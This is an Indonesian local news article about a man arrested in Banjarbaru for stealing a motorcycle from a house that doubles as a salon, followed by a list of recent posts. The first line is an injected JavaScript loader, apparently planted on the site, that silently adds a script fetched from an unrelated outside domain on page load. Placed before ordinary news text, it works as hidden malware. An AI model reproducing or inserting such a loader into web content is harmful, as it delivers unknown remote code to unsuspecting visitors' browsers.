(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: kriminal banjarbaru

Curi Motor di Salon Erna, Selang Tujuh Hari KS Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARBARU – Berselang waktu tujuh hari personel Reskrim Polsek Banjarbaru Timur berhasil meringkus pelaku pencurian sepeda motor.

Petugas mengungkap kasus Curanmor, Rabu (6/1/2021) sekitar pukul 16:30 Wita.

Kapolsek Banjarbaru Timur Iptu Khamdari, mengatakan, pelaku Curanmor ialah KS (25) warga Pumpung, RT 031 RW 010, Kelurahan Sungai Tiung, Kecamatan Cempaka. Kasus pencurian terjadi pada Rabu 30 Desember 2020 sekitar pukul 23.00 Wita tepatnya di Salon Erna, jalan H Mistar Cokrokusumo RT 027, RW 009, Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru.

Selain mengamankan pelaku, petugas kepolisian juga berhasil mengamankan barang bukti sebuah sepeda motor Kawasaki AX125B dengan nomor polisi DA 5577 ZS, dan sebuah gunting yang digunakan pelaku dalam melancarkan aksinya.

Kronologis Curanmor, lanjut Iptu Khamdari, menjelaskan, ketika korban pergi meninggalkan rumah, di mana saat itu korban meninggalkan sepeda motor terparkir di ruang tamu. Sekitar pukul 10.00 Wita korban diberi kabar tetangga bahwa pintu dapur rumah korban dalam keadaan terbuka.

“Kemudian korban cek rumahnya dan melihat sepeda motor miliknya tidak lagi ada di falam rumah,” kata Iptu Khamdari.

Atas kejadian tersebut korban kemudian melapor ke pihak polisi. Setelah melalui penyelidikan, polisi akhirnya mengantongi terduga pelaku.

“Kami mendapat informasi, kalau pelaku ada di rumahnya.
Kemudian, petugas kami langsung bergerak cepat meringkus pelaku,” katanya.

Dari keterangan pelaku, terang Khamdari, pelaku Ks mendatangi rumah korban untuk menjual semir rambut. Ketika melihat rumah korban dalam keadaan kosong, kemudian pelaku memasuki rumah korban melalui pintu dapur dengan cara mencongkel kunci gembok.

“Setelah berhasil pelaku memasuki rumah korban, kemudian pelaku melihat sepeda motor milik korban yang terparkir di ruang tamu rumah korban. Kemudian, pelaku mengecek sepeda motor tersebut dalam keadaan tidak terkunci stang,” lanjutnya.

Masih dalam keterangan pelaku, pelaku memotong kabel kunci kontak sepeda motor tersebut dengan menggunakan gunting yang ada di salon dan selanjutnya pelaku membawa sepeda motor tersebut ke rumahnya.

“Atas kejadian tersebut korban mengalami kerugian sebesar Rp 3,5 juta. Pelaku sudah kami tahan di Mapolsek Banjarbaru Timur Pelaku dijerat pasal 363 ayat 2 KUHP Sub Pasal 363 ayat 1 ke 3e dan ke 5e, dengan ancaman pidana kurungan lima tahun,” pungkasnya. (kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Bie

Al Ghifari

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

5 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

5 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

7 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

9 jam ago

This website uses cookies.